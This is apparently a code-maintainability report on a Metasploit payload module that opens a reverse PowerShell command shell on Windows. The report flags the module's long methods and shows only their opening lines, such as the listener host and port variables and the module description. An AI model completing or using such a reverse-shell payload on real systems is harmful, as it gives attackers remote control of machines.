rapid7/metasploit-framework

View on GitHub
modules/payloads/singles/cmd/windows/reverse_powershell.rb

Summary

Maintainability
A
3 hrs
Test Coverage

Method command_string has 56 lines of code (exceeds 25 allowed). Consider refactoring.
Open

  def command_string
    lhost = datastore['LHOST']
    lport = datastore['LPORT']
    powershell = %Q^
$a='#{lhost}';
Severity: Major
Found in modules/payloads/singles/cmd/windows/reverse_powershell.rb - About 2 hrs to fix

    Method initialize has 30 lines of code (exceeds 25 allowed). Consider refactoring.
    Open

      def initialize(info = {})
        super(merge_info(info,
         'Name'          => 'Windows Command Shell, Reverse TCP (via Powershell)',
         'Description'   => 'Connect back and create a command shell via Powershell',
         'Author'        =>
    Severity: Minor
    Found in modules/payloads/singles/cmd/windows/reverse_powershell.rb - About 1 hr to fix

      There are no issues that match your filters.

      Category
      Status